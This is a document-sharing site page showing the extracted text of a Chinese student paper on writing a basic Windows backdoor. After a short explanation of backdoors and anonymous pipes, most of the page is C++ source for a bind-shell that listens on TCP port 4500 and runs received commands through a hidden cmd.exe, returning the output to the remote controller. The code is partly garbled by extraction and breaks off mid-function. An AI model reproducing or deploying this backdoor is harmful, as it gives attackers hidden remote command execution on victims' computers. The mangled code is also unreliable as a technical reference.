基本的后门编写

上传人:kms****20 文档编号:41451906 上传时间:2018-05-29 格式:DOC 页数:9 大小:254.69KB
返回 下载 相关 举报
基本的后门编写_第1页
第1页 / 共9页
基本的后门编写_第2页
第2页 / 共9页
基本的后门编写_第3页
第3页 / 共9页
基本的后门编写_第4页
第4页 / 共9页
基本的后门编写_第5页
第5页 / 共9页
点击查看更多>>
资源描述

《基本的后门编写》由会员分享,可在线阅读,更多相关《基本的后门编写(9页珍藏版)》请在金锄头文库上搜索。

1、基本后门的编写基本后门的编写网络工程网络工程 0901 张恺南张恺南 2009266801251.1 后门概述后门概述 绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会 在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件 之前没有删除后门,那么它就成了安全风险。后门又称为 Back Door 一台计算机上有 0 到 65535 共 65536 个端口,那么如果把计算机看作是一间屋子,那么这 65536 个端口就 可以把它看做是计算机为了与外界连接所开的 65536 扇门。1.2 后门的发展后门的发展 功能上的发展 原始的后门只有 cmdsh

2、ell 功能,随着后门要求的提高,功能也逐渐强大,添加了比如 列举进程、结束进程等功能。在 winshell 之后,后门的功能越来越完善,开远程终端、克 隆用户等功能都出现了。 隐蔽性的发展 在后门功能发展的同时,后门的生存能力也是不得不考虑的,一个后门如果不够隐蔽, 那么很容易被管理员删除。隐蔽性分为自启动的隐蔽性、连接上的隐蔽性和进程上的隐蔽 性。2.1 简单简单 cmdshell 的实现的实现 什么是 cmdshell? cmd 就是系统中的 cmd 窗口,shell 在英语中是“壳”的意思,cmdshell 可以理解为是 由被入侵系统返回的一个类似于 cmd 窗口的可以远程执行命令的模

3、块。本地主机cmdshell 有 1 和 2 两个不同的通信过程,要实现 cmdshell,必须解决这两个通信问题。 首先 1 过程是后门和 cmd 之间的通信,我们可以用管道通信技术来实现这个过程;2 过程 是跨越计算机的网络通信,我们可以用 Winsock 类库来实现。2.2.1 管道通信技术管道通信技术 什么是管道? 管道是一种进程间,确切地说是线程间的通信方法。管道,正如这个名字所表示的, 是一个有两个端口的对象,进程可以从这个对象的一个端口写入信息,并从这个对象的另远程主机 1 2cmdtelnet后门一个端口读取信息。管道其实也是一个共享内存,但是这个共享内存更加规范,而且有类 似

4、于队列的数据结构,不像内存映射文件那样仅仅是共享内存。2.2.2 正向连接后门编程正向连接后门编程 所谓正向连接后门,就是在被控制的计算机上监听一个端口,等待连接,当有连接后就 启动后门功能,这又是最古老的后门。2.2.2.1 双管道后门双管道后门所谓双管道后门,顾名思义也就是这个后门建立了两个管道。由于匿名管道是单向的, 所以 cmd 的执行结果写入管道 1 的写句柄(hWritePipe) ,后门从管道 1 的读句柄 (hReadFile)读取 cmd 的执行结果;后门把接收到的命令写入管道 2 的写句柄 (hWriteFile) ,cmd 通过管道 2 的读句柄(hReadPipe)读取

5、命令执行。通过 CreatePipe 函数建立管道,建立两个线程,每个线程建立一个管道,线程 1 用于 循环读取管道 1 中的数据,一旦读到数据,就发送给控制者;线程 2 用于循环接受数据, 一旦接受到数据就写入管道 2 中,由 cmd 来执行。 具体代码如下: /接受远程主机的命令,并写入管道 2 DWORD WINAPI Thread2( LPVOID lpParam ) SECURITY_ATTRIBUTES sa; DWORD nByteToWrite, nByteWritten; char recv_buff1024;用 winsock 建立 tcp 服务端 部分,用于等待本地连接调

6、用 CreatePipe 函数建立管 道,返回管道句柄利用管道句柄把管道和触摸 到的输入输出关联起来调用 CreateProcess 函数建立 cmd 进程利用管道句柄,调用 WriteFile 和 ReadFile 写入和 读取管道中的信息Winsock 收到的信息写入管道读取到的信息由 winsock 发送建立连接后sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; /创建管道 CreatePipe( while(true) Sleep(250

7、); /接受远程 cmd 命令 nByteToWrite = recv(sClient ,recv_buff,1024,0); /写入管道 WriteFile(hWriteFile,recv_buff,nByteToWrite, return 0; /读取管道 1 中的数据,返回给远程主机 DWORD WINAPI Thread1( LPVOID lpParam ) SECURITY_ATTRIBUTES sa; DWORD len; char send_buff2048; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescr

8、iptor = NULL; sa.bInheritHandle = TRUE;CreatePipe( while (true) /读取管道中的数据 ReadFile(hReadFile,send_buff,2048, /把管道中的数据发送给远程主机send(sClient,send_buff,len,0); return 0; 在主函数中我们只要调用 CreateThread 函数启动这两个线程就可以了。由于这两个线 程是在接收连接后,但管道没有和 cmd 的输入输出关联时启动,所以启动后,线程 1 是不 能从管道 1 中读到数据的。线程 2 假如接收到命令写入管道 2 中,cmd 也是不会执

9、行的。 只有把管道和 cmd 的输入输出关联起来并且启动 cmd 进程后,这两个管道才能发挥它的作 用。 下面用管理句柄把管道和 cmd 的输入输出关联起来。这里要用到 LSPTARTUPINFO 结构,这个结构是 CreateProcess 函数的一个参数,它指定了新进程中的主窗口的位置、大 小、输入、输出等信息。具体代码如下: GetStartupInfo( si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /使 cmd 的输入输出和管道关联 si.hStdInput = hReadPipe;/从管道 2 读句柄,读取命令 si

10、.hStdError = hWritePipe;/错误输出到管道 1 写句柄 si.hStdOutput = hWritePipe;/执行结构从管道写句柄输入 si.wShowWindow = SW_HIDE;/隐藏 cmd 窗口在实现 cmd 和管道之间的通信关系后,只剩下调用 CreateProcess 函数启动 cmd 进程 的工作了。具体代码如下: char cmdline256=0; /得到系统路径 GetSystemDirectory(cmdline,sizeof(cmdline);strcat(cmdline,“cmd.exe“); /创建 cmd 进程 if (CreatePr

11、ocess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, return 0; 这样整个后门就实现了,整合代码如下: / door.cpp : Defines the entry point for the console application. / #include “stdafx.h“ #include #include #pragma comment(lib, “ws2_32.lib“)SOCKET sListen,sClient; /定义管道句柄 HANDLE hReadPipe, hWritePipe, hWriteFile, hRe

12、adFile;/接受远程主机的命令,并写入管道 2 DWORD WINAPI Thread2( LPVOID lpParam ) SECURITY_ATTRIBUTES sa; DWORD nByteToWrite, nByteWritten; char recv_buff1024; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; /创建管道CreatePipe( while(true) Sleep(250); /接受远程 cmd 命令 nBy

13、teToWrite = recv(sClient ,recv_buff,1024,0); /写入管道 WriteFile(hWriteFile,recv_buff,nByteToWrite, return 0; /读取管道 1 中的数据,返回给远程主机 DWORD WINAPI Thread1( LPVOID lpParam ) SECURITY_ATTRIBUTES sa; DWORD len; char send_buff2048; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bI

14、nheritHandle = TRUE;CreatePipe( while (true) /读取管道中的数据 ReadFile(hReadFile,send_buff,2048, /把管道中的数据发送给远程主机send(sClient,send_buff,len,0); return 0; int main(int argc, char* argv) HANDLE hThread2; DWORD dwThreadIdA,dwThreadIdB; PROCESS_INFORMATION pi; STARTUPINFO si;/初始化 socket,并绑定本地端口监听 BYTE minorVer

15、= 2; BYTE majorVer = 2; WSADATA wsaData; WORD sockVersion = MAKEWORD(minorVer, majorVer); if(WSAStartup(sockVersion, sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sListen = INVALID_SOCKET) printf(“socket error n“); return 0; sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(4

16、500); sin.sin_addr.S_un.S_addr = INADDR_ANY; if(bind(sListen, (LPSOCKADDR) return 0; if(listen(sListen, 2) = SOCKET_ERROR) printf(“listen error n“); return 0; /接收连接 sClient = accept(sListen, NULL, NULL); /创建两个进程,用于读取写入管道中的数据,实现通信 hThread0=CreateThread(NULL, 0, Thread1, NULL, 0, hThread1=CreateThread(NULL, 0, Thread2, NULL, 0, /暂停 1 秒,为了确保两个线程中的管道创建完毕,因为下面要对管道进行操作Sleep(1000); GetSt

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 生活休闲 > 科普知识

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号